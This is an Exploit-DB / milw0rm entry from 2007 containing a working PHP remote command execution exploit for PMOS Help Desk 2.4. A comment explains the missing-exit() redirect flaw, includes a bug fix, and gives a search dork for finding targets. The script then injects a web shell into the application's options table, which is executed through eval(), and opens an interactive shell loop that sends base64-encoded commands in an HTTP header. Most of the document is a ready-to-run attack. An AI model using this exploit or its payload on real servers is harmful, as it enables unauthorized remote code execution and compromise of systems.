Exploit-DB #4789
Description: PMOS Help Desk 2.4 - Remote Command Execution
Type: webapps
Platform: php
Date: 2007-12-25
Author: EgiX

Exploit:
<?php

/*
	------------------------------------------------------
	PMOS Help Desk <= 2.4 Remote Command Execution Exploit
	------------------------------------------------------ 
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.h2desk.com/pmos
	dork.....: "Powered by PMOS Help Desk"

	[-] PHP code injection through /form.php:

	28.	if( $_SESSION[login_type] == $LOGIN_INVALID )
	29.	  Header( "Location: {$HD_URL_LOGIN}?redirect=" . urlencode( $HD_CURPAGE ) ); <===
	30.
	31.	$global_priv = get_row_count( "SELECT COUNT(*) FROM {$pre}privilege WHERE ( user_id = '{$_SESSION[user][id]}' && dept_id = '0' )" );
	32.	if( !$global_priv )
	33.	  Header( "Location: $HD_URL_BROWSE" ); <===
	34.
	35.	$options = array( "header", "footer", "logo", "title", (...)
	36.
	37.	if( $_GET[cmd] == "customdel" )
	38.	{
	39.	  mysql_query( "DELETE FROM {$pre}options WHERE ( id = '{$_GET[id]}' )" );
	40.	}
	41.	else if( isset( $_POST[header] ) )
	42.	{
	43.	  for( $i = 0; $i < count( $options ); $i++ )
	44.	  {
	45.	    $exists = get_row_count( "SELECT COUNT(*) FROM {$pre}options WHERE ( name = '{$options[$i]}' )" );
	46.	    if( $exists )
	47.	      mysql_query( "UPDATE {$pre}options SET text = '" . $_POST[$options[$i]] . "' WHERE ( name = '{$options[$i]}' )" );
	48.	    else
	49.	      mysql_query( "INSERT INTO {$pre}options ( name, text ) VALUES ( '{$options[$i]}', '" . $_POST[$options[$i]] . "' )" ); <===
	50.	  }

	there isn't any exit() or die() function after header redirection at lines 29, 33...so an attacker can inject php code into the 'options'
	table through the query at line 49 (or 47)...injected code will be executed by eval() function located into some files...look at index.php:

	28.	$options = array( "header", "footer", "logo", (...)
	29.	$data = get_options( $options );
	196.	  eval( "?> {$data[header]} <?" ); <===

	[-] Bug fix in /form.php :

	28.	if( $_SESSION[login_type] == $LOGIN_INVALID ) {
	29.	  Header( "Location: {$HD_URL_LOGIN}?redirect=" . urlencode( $HD_CURPAGE ) );
	30.	  exit();
	31.	}
	32.
	33.	$global_priv = get_row_count( "SELECT COUNT(*) FROM {$pre}privilege WHERE ( user_id = '{$_SESSION[user][id]}' && dept_id = '0' )" );
	34.	if( !$global_priv ) {
	35.	  Header( "Location: $HD_URL_BROWSE" );
	36.	  exit();
	37.	}
	
*/

error_reporting(0);
ini_set("default_socket_timeout", 5);
set_time_limit(0);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
		sleep(1);
	}
	fputs($sock, $packet);
	$resp = "";
	while (!feof($sock)) $resp .= fread($sock, 1);
	fclose($sock);
	return $resp;
}

print "\n+----------------------------------------------------------------+";
print "\n| PMOS Help Desk <= 2.4 Remote Command Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......:	php $argv[0] host path [options]\n";
	print "\nhost.......:	target server (ip/hostname)";
	print "\npath.......:	path to pmos directory (example: / or /pmos/)\n\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
   
// try to inject php shell into 'header' record of 'options' table...
$data	 = "header=".urlencode("<?php error_reporting(0);echo __;passthru(base64_decode(\$_SERVER[HTTP_CMD]));echo __;die; ?>");
$packet  = "POST {$path}form.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Keep-Alive: 300\r\n";
$packet .= "Connection: keep-alive\r\n\r\n";
$packet .= $data;

http_send($host, $packet);

// ...and start the shell!
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
	print "\nxpl0it-sh3ll > ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet  = "GET {$path} HTTP/1.1\r\n";
		$packet .= "Host: {$host}\r\n";
		$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet .= "Keep-Alive: 300\r\n";
		$packet .= "Connection: keep-alive\r\n\r\n";
		$resp = http_send($host, $packet);
		if (!strpos($resp, "__")) die("\n[-] Exploit failed...\n");
		$shell = explode("__", $resp);
		print "\n".$shell[1];
	}
	else break;
}

?>

# milw0rm.com [2007-12-25]